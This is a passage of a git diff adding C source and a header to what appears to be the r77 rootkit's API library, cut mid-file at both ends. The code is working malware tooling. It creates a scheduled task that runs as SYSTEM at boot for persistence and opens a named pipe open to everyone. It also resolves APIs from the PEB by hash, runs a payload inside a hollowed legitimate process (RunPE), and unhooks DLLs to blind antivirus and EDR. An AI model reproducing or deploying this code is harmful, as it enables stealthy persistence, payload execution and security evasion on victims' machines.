+ ITriggerCollection *triggerCollection = NULL;
+ if (SUCCEEDED(task->lpVtbl->get_Triggers(task, &triggerCollection)))
+ {
+ ITrigger *trigger = NULL;
+ if (SUCCEEDED(triggerCollection->lpVtbl->Create(triggerCollection, TASK_TRIGGER_BOOT, &trigger)))
+ {
+ IBootTrigger *bootTrigger = NULL;
+ if (SUCCEEDED(trigger->lpVtbl->QueryInterface(trigger, (LPCLSID)&IID_IBootTrigger, (LPVOID*)&bootTrigger)))
+ {
+ IActionCollection *actionCollection = NULL;
+ if (SUCCEEDED(task->lpVtbl->get_Actions(task, &actionCollection)))
+ {
+ IAction *action = NULL;
+ if (SUCCEEDED(actionCollection->lpVtbl->Create(actionCollection, TASK_ACTION_EXEC, &action)))
+ {
+ IExecAction *execAction = NULL;
+ if (SUCCEEDED(action->lpVtbl->QueryInterface(action, (LPCLSID)&IID_IExecAction, (LPVOID*)&execAction)))
+ {
+ if (SUCCEEDED(execAction->lpVtbl->put_WorkingDirectory(execAction, directoryBstr)) &&
+ SUCCEEDED(execAction->lpVtbl->put_Path(execAction, fileNameBstr)) &&
+ SUCCEEDED(execAction->lpVtbl->put_Arguments(execAction, argumentsBstr)))
+ {
+ VARIANT password;
+ VariantInit(&password);
+
+ VARIANT userId;
+ VariantInit(&userId);
+ userId.vt = VT_BSTR;
+ userId.bstrVal = userIdBstr;
+
+ VARIANT sddl;
+ VariantInit(&sddl);
+
+ IRegisteredTask *registeredTask = NULL;
+ HRESULT hr = folder->lpVtbl->RegisterTaskDefinition(folder, nameBstr, task, TASK_CREATE_OR_UPDATE, userId, password, TASK_LOGON_SERVICE_ACCOUNT, sddl, ®isteredTask);
+ if (SUCCEEDED(hr))
+ {
+ result = TRUE;
+
+ registeredTask->lpVtbl->Release(registeredTask);
+ }
+ }
+
+ execAction->lpVtbl->Release(execAction);
+ }
+
+ action->lpVtbl->Release(action);
+ }
+
+ actionCollection->lpVtbl->Release(actionCollection);
+ }
+
+ bootTrigger->lpVtbl->Release(bootTrigger);
+ }
+
+ trigger->lpVtbl->Release(trigger);
+ }
+
+ triggerCollection->lpVtbl->Release(triggerCollection);
+ }
+ }
+
+ settings->lpVtbl->Release(settings);
+ }
+
+ task->lpVtbl->Release(task);
+ }
+
+ folder->lpVtbl->Release(folder);
+ }
+ }
+
+ service->lpVtbl->Release(service);
+ }
+ }
+
+ CoUninitialize();
+ }
+
+ SysFreeString(nameBstr);
+ SysFreeString(directoryBstr);
+ SysFreeString(fileNameBstr);
+ SysFreeString(argumentsBstr);
+ SysFreeString(folderPathBstr);
+ SysFreeString(userIdBstr);
+
+ return result;
+}
+BOOL RunScheduledTask(LPCWSTR name)
+{
+ BOOL result = FALSE;
+
+ BSTR nameBstr = SysAllocString(name);
+ BSTR folderPathBstr = SysAllocString(L"\\");
+
+ if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
+ {
+ HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
+ if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
+ {
+ ITaskService *service = NULL;
+ if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
+ {
+ VARIANT empty;
+ VariantInit(&empty);
+
+ if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
+ {
+ ITaskFolder *folder = NULL;
+ if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
+ {
+ IRegisteredTask *task = NULL;
+ if (SUCCEEDED(folder->lpVtbl->GetTask(folder, nameBstr, &task)))
+ {
+ VARIANT params;
+ VariantInit(¶ms);
+
+ IRunningTask *runningTask = NULL;
+ if (SUCCEEDED(task->lpVtbl->Run(task, params, &runningTask)))
+ {
+ result = TRUE;
+
+ runningTask->lpVtbl->Release(runningTask);
+ }
+
+ task->lpVtbl->Release(task);
+ }
+
+ folder->lpVtbl->Release(folder);
+ }
+ }
+
+ service->lpVtbl->Release(service);
+ }
+ }
+
+ CoUninitialize();
+ }
+
+ SysFreeString(nameBstr);
+ SysFreeString(folderPathBstr);
+
+ return result;
+}
+BOOL DeleteScheduledTask(LPCWSTR name)
+{
+ BOOL result = FALSE;
+
+ BSTR nameBstr = SysAllocString(name);
+ BSTR folderPathBstr = SysAllocString(L"\\");
+
+ if (SUCCEEDED(CoInitializeEx(NULL, COINIT_MULTITHREADED)))
+ {
+ HRESULT initializeSecurityResult = CoInitializeSecurity(NULL, -1, NULL, NULL, RPC_C_AUTHN_LEVEL_PKT_PRIVACY, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, 0, NULL);
+ if (SUCCEEDED(initializeSecurityResult) || initializeSecurityResult == RPC_E_TOO_LATE)
+ {
+ ITaskService *service = NULL;
+ if (SUCCEEDED(CoCreateInstance((LPCLSID)&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, (LPCLSID)&IID_ITaskService, (LPVOID*)&service)))
+ {
+ VARIANT empty;
+ VariantInit(&empty);
+
+ if (SUCCEEDED(service->lpVtbl->Connect(service, empty, empty, empty, empty)))
+ {
+ ITaskFolder *folder = NULL;
+ if (SUCCEEDED(service->lpVtbl->GetFolder(service, folderPathBstr, &folder)))
+ {
+ if (SUCCEEDED(folder->lpVtbl->DeleteTask(folder, nameBstr, 0)))
+ {
+ result = TRUE;
+ }
+
+ folder->lpVtbl->Release(folder);
+ }
+ }
+
+ service->lpVtbl->Release(service);
+ }
+ }
+
+ CoUninitialize();
+ }
+
+ SysFreeString(nameBstr);
+ SysFreeString(folderPathBstr);
+
+ return result;
+}
+HANDLE CreatePublicNamedPipe(LPCWSTR name)
+{
+ // Get security attributes for "EVERYONE", so the named pipe is accessible to all processes.
+
+ SID_IDENTIFIER_AUTHORITY authority = SECURITY_WORLD_SID_AUTHORITY;
+ PSID everyoneSid;
+ if (!AllocateAndInitializeSid(&authority, 1, SECURITY_WORLD_RID, 0, 0, 0, 0, 0, 0, 0, &everyoneSid)) return INVALID_HANDLE_VALUE;
+
+ EXPLICIT_ACCESSW explicitAccess;
+ libc_memset(&explicitAccess, 0, sizeof(EXPLICIT_ACCESSW));
+ explicitAccess.grfAccessPermissions = FILE_ALL_ACCESS;
+ explicitAccess.grfAccessMode = SET_ACCESS;
+ explicitAccess.grfInheritance = NO_INHERITANCE;
+ explicitAccess.Trustee.TrusteeForm = TRUSTEE_IS_SID;
+ explicitAccess.Trustee.TrusteeType = TRUSTEE_IS_WELL_KNOWN_GROUP;
+ explicitAccess.Trustee.ptstrName = (LPWSTR)everyoneSid;
+
+ PACL acl;
+ if (SetEntriesInAclW(1, &explicitAccess, NULL, &acl) != ERROR_SUCCESS) return INVALID_HANDLE_VALUE;
+
+ PSECURITY_DESCRIPTOR securityDescriptor = (PSECURITY_DESCRIPTOR)LocalAlloc(LPTR, SECURITY_DESCRIPTOR_MIN_LENGTH);
+ if (!securityDescriptor ||
+ !InitializeSecurityDescriptor(securityDescriptor, SECURITY_DESCRIPTOR_REVISION) ||
+ !SetSecurityDescriptorDacl(securityDescriptor, TRUE, acl, FALSE)) return INVALID_HANDLE_VALUE;
+
+ SECURITY_ATTRIBUTES securityAttributes;
+ securityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);
+ securityAttributes.lpSecurityDescriptor = securityDescriptor;
+ securityAttributes.bInheritHandle = FALSE;
+
+ return CreateNamedPipeW(name, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT, PIPE_UNLIMITED_INSTANCES, 1024, 1024, NMPWAIT_USE_DEFAULT_WAIT, &securityAttributes);
+}
+
+BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit)
+{
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+
+ if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
+ {
+ switch (ntHeaders->OptionalHeader.Magic)
+ {
+ case 0x10b:
+ *is64Bit = FALSE;
+ return TRUE;
+ case 0x20b:
+ *is64Bit = TRUE;
+ return TRUE;
+ }
+ }
+
+ return FALSE;
+}
+LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash)
+{
+#ifdef _WIN64
+ PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readgsqword(0x60))->Ldr;
+#else
+ PNT_PEB_LDR_DATA peb = (PNT_PEB_LDR_DATA)((PNT_PEB)__readfsdword(0x30))->Ldr;
+#endif
+
+ PNT_LDR_DATA_TABLE_ENTRY firstPebEntry = (PNT_LDR_DATA_TABLE_ENTRY)peb->InMemoryOrderModuleList.Flink;
+ PNT_LDR_DATA_TABLE_ENTRY pebEntry = firstPebEntry;
+ do
+ {
+ // Find module by hash
+ if (pebEntry->BaseDllName.Buffer && libc_strhashi((LPCSTR)pebEntry->BaseDllName.Buffer, pebEntry->BaseDllName.Length) == moduleHash)
+ {
+ LPBYTE dllBase = (LPBYTE)pebEntry->DllBase;
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(dllBase + ((PIMAGE_DOS_HEADER)dllBase)->e_lfanew);
+ PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dllBase + ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
+ LPDWORD nameDirectory = (LPDWORD)(dllBase + exportDirectory->AddressOfNames);
+ LPWORD nameOrdinalDirectory = (LPWORD)(dllBase + exportDirectory->AddressOfNameOrdinals);
+
+ // Find function by hash
+ for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++, nameDirectory++, nameOrdinalDirectory++)
+ {
+ if (libc_strhash((LPCSTR)(dllBase + *nameDirectory)) == functionHash)
+ {
+ return dllBase + *(LPDWORD)(dllBase + exportDirectory->AddressOfFunctions + *nameOrdinalDirectory * sizeof(DWORD));
+ }
+ }
+
+ return NULL;
+ }
+ }
+ while ((pebEntry = (PNT_LDR_DATA_TABLE_ENTRY)pebEntry->InMemoryOrderModuleList.Flink) != firstPebEntry);
+
+ return NULL;
+}
+BOOL RunPE(LPCWSTR path, LPBYTE payload)
+{
+ // For 32-bit (and 64-bit?) process hollowing, this needs to be attempted several times.
+ // This is a workaround to the well known stability issue of process hollowing.
+ for (DWORD i = 0; i < 5; i++)
+ {
+ DWORD processId = 0;
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(payload + ((PIMAGE_DOS_HEADER)payload)->e_lfanew);
+
+ if (ntHeaders->Signature == IMAGE_NT_SIGNATURE)
+ {
+ STARTUPINFOW startupInfo;
+ PROCESS_INFORMATION processInformation;
+ libc_memset(&startupInfo, 0, sizeof(STARTUPINFOW));
+ libc_memset(&processInformation, 0, sizeof(PROCESS_INFORMATION));
+ startupInfo.cb = sizeof(startupInfo);
+
+ if (CreateProcessW(path, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInformation))
+ {
+ processId = processInformation.dwProcessId;
+
+ //TODO: NtUnmapViewOfSection here
+
+ LPVOID imageBase = VirtualAllocEx(processInformation.hProcess, (LPVOID)ntHeaders->OptionalHeader.ImageBase, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
+ if (imageBase && WriteProcessMemory(processInformation.hProcess, imageBase, payload, ntHeaders->OptionalHeader.SizeOfHeaders, NULL))
+ {
+ BOOL sectionsWritten = TRUE;
+
+ for (int j = 0; j < ntHeaders->FileHeader.NumberOfSections; j++)
+ {
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + j * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER);
+
+ if (!WriteProcessMemory(processInformation.hProcess, (LPBYTE)imageBase + sectionHeader->VirtualAddress, (LPBYTE)payload + sectionHeader->PointerToRawData, sectionHeader->SizeOfRawData, NULL))
+ {
+ sectionsWritten = FALSE;
+ break;
+ }
+ }
+
+ if (sectionsWritten)
+ {
+ LPCONTEXT context = (LPCONTEXT)VirtualAlloc(NULL, sizeof(CONTEXT), MEM_COMMIT, PAGE_READWRITE);
+ if (context)
+ {
+ context->ContextFlags = CONTEXT_FULL;
+
+ if (GetThreadContext(processInformation.hThread, context))
+ {
+#ifdef _WIN64
+ if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Rdx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL))
+ {
+ context->Rcx = (DWORD64)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
+ if (SetThreadContext(processInformation.hThread, context) &&
+ ResumeThread(processInformation.hThread) != -1)
+ {
+ return TRUE;
+ }
+ }
+#else
+ if (WriteProcessMemory(processInformation.hProcess, (LPVOID)(context->Ebx + sizeof(LPVOID) * 2), &ntHeaders->OptionalHeader.ImageBase, sizeof(LPVOID), NULL))
+ {
+ context->Eax = (DWORD)imageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
+ if (SetThreadContext(processInformation.hThread, context) &&
+ ResumeThread(processInformation.hThread) != -1)
+ {
+ return TRUE;
+ }
+ }
+#endif
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if (processId != 0)
+ {
+ HANDLE process = OpenProcess(PROCESS_TERMINATE, FALSE, processId);
+ if (process)
+ {
+ TerminateProcess(process, 0);
+ }
+ }
+ }
+
+ return FALSE;
+}
+DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName)
+{
+ BOOL is64Bit;
+ if (IsExecutable64Bit(image, &is64Bit) && BITNESS(is64Bit ? 64 : 32))
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+ PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(image + RvaToOffset(image, ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress));
+ LPDWORD nameDirectory = (LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNames));
+ LPWORD nameOrdinalDirectory = (LPWORD)(image + RvaToOffset(image, exportDirectory->AddressOfNameOrdinals));
+
+ for (DWORD i = 0; i < exportDirectory->NumberOfNames; i++)
+ {
+ if (StrStrA((PCHAR)(image + RvaToOffset(image, *nameDirectory)), functionName))
+ {
+ return RvaToOffset(image, *(LPDWORD)(image + RvaToOffset(image, exportDirectory->AddressOfFunctions) + *nameOrdinalDirectory * sizeof(DWORD)));
+ }
+
+ nameDirectory++;
+ nameOrdinalDirectory++;
+ }
+ }
+
+ return 0;
+}
+DWORD RvaToOffset(LPBYTE image, DWORD rva)
+{
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(image + ((PIMAGE_DOS_HEADER)image)->e_lfanew);
+ PIMAGE_SECTION_HEADER sections = (PIMAGE_SECTION_HEADER)((LPBYTE)&ntHeaders->OptionalHeader + ntHeaders->FileHeader.SizeOfOptionalHeader);
+
+ if (rva < sections[0].PointerToRawData)
+ {
+ return rva;
+ }
+ else
+ {
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ if (rva >= sections[i].VirtualAddress && rva < sections[i].VirtualAddress + sections[i].SizeOfRawData)
+ {
+ return rva - sections[i].VirtualAddress + sections[i].PointerToRawData;
+ }
+ }
+
+ return 0;
+ }
+}
+VOID UnhookDll(LPCWSTR name)
+{
+ if (name)
+ {
+ WCHAR path[MAX_PATH + 1];
+ if (Is64BitOperatingSystem() && BITNESS(32)) lstrcpyW(path, L"C:\\Windows\\SysWOW64\\");
+ else lstrcpyW(path, L"C:\\Windows\\System32\\");
+
+ lstrcatW(path, name);
+
+ // Get original DLL handle. This DLL is possibly hooked by AV/EDR solutions.
+ HMODULE dll = GetModuleHandleW(name);
+ if (dll)
+ {
+ MODULEINFO moduleInfo;
+ libc_memset(&moduleInfo, 0, sizeof(MODULEINFO));
+
+ if (GetModuleInformation(GetCurrentProcess(), dll, &moduleInfo, sizeof(MODULEINFO)))
+ {
+ // Retrieve a clean copy of the DLL file.
+ HANDLE dllFile = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
+ if (dllFile != INVALID_HANDLE_VALUE)
+ {
+ // Map the clean DLL into memory
+ HANDLE dllMapping = CreateFileMappingW(dllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
+ if (dllMapping)
+ {
+ LPVOID dllMappedFile = MapViewOfFile(dllMapping, FILE_MAP_READ, 0, 0, 0);
+ if (dllMappedFile)
+ {
+ PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((ULONG_PTR)moduleInfo.lpBaseOfDll + ((PIMAGE_DOS_HEADER)moduleInfo.lpBaseOfDll)->e_lfanew);
+
+ for (WORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
+ {
+ PIMAGE_SECTION_HEADER sectionHeader = (PIMAGE_SECTION_HEADER)((ULONG_PTR)IMAGE_FIRST_SECTION(ntHeaders) + (i * (ULONG_PTR)IMAGE_SIZEOF_SECTION_HEADER));
+
+ // Find the .text section of the hooked DLL and overwrite it with the original DLL section
+ if (!lstrcmpiA((LPCSTR)sectionHeader->Name, ".text"))
+ {
+ LPVOID virtualAddress = (LPVOID)((ULONG_PTR)moduleInfo.lpBaseOfDll + (ULONG_PTR)sectionHeader->VirtualAddress);
+ DWORD virtualSize = sectionHeader->Misc.VirtualSize;
+
+ DWORD oldProtect;
+ VirtualProtect(virtualAddress, virtualSize, PAGE_EXECUTE_READWRITE, &oldProtect);
+ libc_memcpy(virtualAddress, (LPVOID)((ULONG_PTR)dllMappedFile + (ULONG_PTR)sectionHeader->VirtualAddress), virtualSize);
+ VirtualProtect(virtualAddress, virtualSize, oldProtect, &oldProtect);
+
+ break;
+ }
+ }
+ }
+
+ CloseHandle(dllMapping);
+ }
+
+ CloseHandle(dllFile);
+ }
+ }
+
+ FreeLibrary(dll);
+ }
+ }
+}
\ No newline at end of file
diff --git a/r77api/r77win.h b/r77api/r77win.h
new file mode 100644
index 0000000..1351037
--- /dev/null
+++ b/r77api/r77win.h
@@ -0,0 +1,282 @@
+#include "r77mindef.h"
+#ifndef _R77WIN_H
+#define _R77WIN_H
+
+///
+/// Writes random bytes to the buffer.
+///
+/// A buffer to write the random data to.
+/// The size in bytes of random data to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetRandomBytes(LPVOID buffer, DWORD size);
+///
+/// Generates a random alphanumeric string.
+///
+/// A buffer of unicode characters to write the string to.
+/// The number of characters to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetRandomString(PWCHAR str, DWORD length);
+///
+/// Converts a LPCWSTR into a null terminated LPCSTR.
+///
+/// The LPCWSTR to convert.
+///
+/// A newly allocated LPCSTR with the converted LPCWSTR.
+///
+LPCSTR ConvertStringToAString(LPCWSTR str);
+///
+/// Converts a UNICODE_STRING into a null terminated LPWSTR.
+///
+/// The UNICODE_STRING to convert.
+///
+/// A newly allocated LPWSTR with the converted UNICODE_STRING.
+///
+LPWSTR ConvertUnicodeStringToString(UNICODE_STRING str);
+
+///
+/// Determines whether the operating system is a 64-bit operating system.
+///
+///
+/// TRUE, if the operating system is a 64-bit operating system;
+/// otherwise, FALSE.
+///
+BOOL Is64BitOperatingSystem();
+///
+/// Determines whether a process is a 64-bit process.
+///
+/// The process ID to check.
+/// A pointer to a BOOL value to write the result to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL Is64BitProcess(DWORD processId, LPBOOL is64Bit);
+///
+/// Retrieves a function from a DLL specified by a name.
+///
+/// The name of the DLL to retrieve the function from.
+/// The name of the function to retrieve.
+///
+/// A pointer to the function, or NULL, if either the DLL was not found or does not have a function by the specified name.
+///
+LPVOID GetFunction(LPCSTR dll, LPCSTR function);
+///
+/// Gets the integrity level of a process.
+///
+/// The process ID to check.
+/// A pointer to a DWORD value to write the result to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessIntegrityLevel(HANDLE process, LPDWORD integrityLevel);
+///
+/// Gets the filename or the full path of a process.
+///
+/// The process ID to retrieve the filename or full path from.
+/// TRUE to return the full path, FALSE to return only the filename.
+/// A buffer to write the filename or full path to.
+/// The length of the fileName buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessFileName(DWORD processId, BOOL fullPath, LPWSTR fileName, DWORD fileNameLength);
+///
+/// Gets the username of a process.
+///
+/// The handle to the process to check.
+/// A buffer of unicode characters to write the result to.
+/// The length of the result buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetProcessUserName(HANDLE process, PWCHAR name, LPDWORD nameLength);
+///
+/// Obtains the SeDebugPrivilege.
+///
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL EnabledDebugPrivilege();
+///
+/// Gets an executable resource.
+///
+/// The identifier of the resource.
+/// The type identifier of the resource.
+/// A pointer that is set to a newly allocated buffer with the resource data.
+/// A pointer to a DWORD value to write the size of the returned buffer to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetResource(DWORD resourceID, PCSTR type, LPBYTE *data, LPDWORD size);
+///
+/// Retrieves the full path from a file handle.
+///
+/// A file handle to retrieve the path from.
+/// A buffer to write the path to.
+/// The length of the fileName buffer.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL GetPathFromHandle(HANDLE file, LPWSTR fileName, DWORD fileNameLength);
+///
+/// Reads the contents of a file.
+///
+/// The path to the file to read.
+/// A pointer that is set to a newly allocated buffer with the file contents.
+/// A pointer to a DWORD value to write the size of the returned buffer to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL ReadFileContent(LPCWSTR path, LPBYTE *data, LPDWORD size);
+///
+/// Reads a null terminated LPCWSTR from the specified file.
+///
+/// A file handle to read the string from.
+/// The buffer to write the string to.
+/// The length of the string buffer.
+///
+/// TRUE, if this function succeeds;
+/// FALSE, if the string was longer than the specified buffer, or the end of the file was reached before the null terminator.
+///
+BOOL ReadFileStringW(HANDLE file, PWCHAR str, DWORD length);
+///
+/// Writes a buffer to a file.
+///
+/// The path to the file to create.
+/// A buffer to write to the file.
+/// The number of bytes to write.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL WriteFileContent(LPCWSTR path, LPBYTE data, DWORD size);
+///
+/// Creates a file with a random filename and a given extension in the temp directory and writes a given buffer to it.
+///
+/// A buffer to write to the file.
+/// The number of bytes to write.
+/// The extension to append to the random filename, excluding the dot.
+/// A buffer of unicode characters to write the path of the created file to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL CreateTempFile(LPBYTE file, DWORD fileSize, LPCWSTR extension, LPWSTR resultPath);
+///
+/// Executes a file and waits for the process to exit.
+///
+/// The path to the file to execute.
+/// TRUE, to attempt to delete the file. A total of 10 deletion attempts with a delay of 100 ms is performed.
+///
+/// TRUE, if the file was successfully executed;
+/// otherwise, FALSE.
+/// If the file was executed, but deletion failed, TRUE is returned.
+///
+BOOL ExecuteFile(LPCWSTR path, BOOL deleteFile);
+///
+/// Creates a scheduled task that is set to run under the SYSTEM account before the user logs in.
+///
+/// The name of the scheduled task.
+/// The working directory of the scheduled task.
+/// The application name of the scheduled task.
+/// The commandline arguments to pass to the created process.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL CreateScheduledTask(LPCWSTR name, LPCWSTR directory, LPCWSTR fileName, LPCWSTR arguments);
+///
+/// Starts a scheduled task.
+///
+/// The name of the scheduled task.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL RunScheduledTask(LPCWSTR name);
+///
+/// Deletes a scheduled task.
+///
+/// The name of the scheduled task.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL DeleteScheduledTask(LPCWSTR name);
+///
+/// Creates a named pipe that is accessible by every process.
+///
+/// The name of the named pipe to be created.
+///
+/// A handle to the newly created named pipe, or INVALID_HANDLE_VALUE, if creation failed.
+///
+HANDLE CreatePublicNamedPipe(LPCWSTR name);
+
+///
+/// Determines the bitness of an executable file.
+///
+/// A buffer containing the executable file.
+/// A pointer to a BOOL value to write the result to.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL IsExecutable64Bit(LPBYTE image, LPBOOL is64Bit);
+///
+/// Retrieves a function pointer from the PEB.
+///
+/// The hash of the module name. The module must be loaded.
+/// The hash of the function name.
+///
+/// A pointer to the function, or NULL, if the function could not be found.
+///
+LPVOID PebGetProcAddress(DWORD moduleHash, DWORD functionHash);
+///
+/// Creates a new process using the process hollowing technique.
+/// The bitness of the current process, the created process and the payload must match.
+///
+/// The target executable path. This can be any existing file with the same bitness as the current process and the payload.
+/// The actual executable that is the payload of the new process, regardless of the path argument.
+///
+/// TRUE, if this function succeeds;
+/// otherwise, FALSE.
+///
+BOOL RunPE(LPCWSTR path, LPBYTE payload);
+///
+/// Gets the file offset of an exported function from an executable file.
+///
+/// A buffer with the executable file.
+/// The name of the exported function.
+///
+/// The file offset of the exported function; or 0, if this function fails.
+///
+DWORD GetExecutableFunction(LPBYTE image, LPCSTR functionName);
+///
+/// Converts a RVA to a file offset.
+///
+/// A buffer with the executable file.
+/// The RVA to convert.
+///
+/// The file offset converted from the specified RVA; or 0, if this function fails.
+///
+DWORD RvaToOffset(LPBYTE image, DWORD rva);
+///
+/// Unhooks a DLL by replacing the .text section with the original DLL section.
+///
+/// The name of the DLL to unhook.
+VOID UnhookDll(LPCWSTR name);
+
+#endif
\ No newline at end of file
diff --git a/src/Uninstall/Uninstall.h b/src/Uninstall/Uninstall.h
deleted file mode 100644
index efb5017..0000000
--- a/src/Uninstall/Uninstall.h
+++ /dev/null
@@ -1,4 +0,0 @@
-#pragma comment(linker, "/subsystem:windows")
-
-#include "../r77api.h"
-#include "../../vs/Uninstall/resource.h"
\ No newline at end of file
diff --git a/src/Uninstall64/Uninstall64.h b/src/Uninstall64/Uninstall64.h
deleted file mode 100644
index 46535db..0000000
--- a/src/Uninstall64/Uninstall64.h
+++ /dev/null
@@ -1,3 +0,0 @@
-#pragma comment(linker, "/subsystem:windows")
-
-#include "../r77api.h"
\ No newline at end of file
diff --git a/src/ntdll.h b/src/ntdll.h
deleted file mode 100644
index aaf52e5..0000000
--- a/src/ntdll.h
+++ /dev/null
@@ -1,663 +0,0 @@
-#define STATUS_NO_MORE_FILES ((NTSTATUS)0x80000006L)
-
-#define SL_RESTART_SCAN 0x01
-#define SL_RETURN_SINGLE_ENTRY 0x02
-#define SL_INDEX_SPECIFIED 0x04
-#define SL_RETURN_ON_DISK_ENTRIES_ONLY 0x08
-#define SL_NO_CURSOR_UPDATE 0x10
-
-#define DEVICE_NSI L"\\Device\\Nsi"
-#define IOCTL_NSI_GETALLPARAM 0x12001b
-
-namespace nt
-{
- typedef enum _SYSTEM_INFORMATION_CLASS
- {
- SystemBasicInformation,
- SystemProcessorInformation,
- SystemPerformanceInformation,
- SystemTimeOfDayInformation,
- SystemPathInformation,
- SystemProcessInformation,
- SystemCallCountInformation,
- SystemDeviceInformation,
- SystemProcessorPerformanceInformation,
- SystemFlagsInformation,
- SystemCallTimeInformation,
- SystemModuleInformation,
- SystemLocksInformation,
- SystemStackTraceInformation,
- SystemPagedPoolInformation,
- SystemNonPagedPoolInformation,
- SystemHandleInformation,
- SystemObjectInformation,
- SystemPageFileInformation,
- SystemVdmInstemulInformation,
- SystemVdmBopInformation,
- SystemFileCacheInformation,
- SystemPoolTagInformation,
- SystemInterruptInformation,
- SystemDpcBehaviorInformation,
- SystemFullMemoryInformation,
- SystemLoadGdiDriverInformation,
- SystemUnloadGdiDriverInformation,
- SystemTimeAdjustmentInformation,
- SystemSummaryMemoryInformation,
- SystemMirrorMemoryInformation,
- SystemPerformanceTraceInformation,
- SystemObsolete0,
- SystemExceptionInformation,
- SystemCrashDumpStateInformation,
- SystemKernelDebuggerInformation,
- SystemContextSwitchInformation,
- SystemRegistryQuotaInformation,
- SystemExtendServiceTableInformation,
- SystemPrioritySeperation,
- SystemVerifierAddDriverInformation,
- SystemVerifierRemoveDriverInformation,
- SystemProcessorIdleInformation,
- SystemLegacyDriverInformation,
- SystemCurrentTimeZoneInformation,
- SystemLookasideInformation,
- SystemTimeSlipNotification,
- SystemSessionCreate,
- SystemSessionDetach,
- SystemSessionInformation,
- SystemRangeStartInformation,
- SystemVerifierInformation,
- SystemVerifierThunkExtend,
- SystemSessionProcessInformation,
- SystemLoadGdiDriverInSystemSpace,
- SystemNumaProcessorMap,
- SystemPrefetcherInformation,
- SystemExtendedProcessInformation,
- SystemRecommendedSharedDataAlignment,
- SystemComPlusPackage,
- SystemNumaAvailableMemory,
- SystemProcessorPowerInformation,
- SystemEmulationBasicInformation,
- SystemEmulationProcessorInformation,
- SystemExtendedHandleInformation,
- SystemLostDelayedWriteInformation,
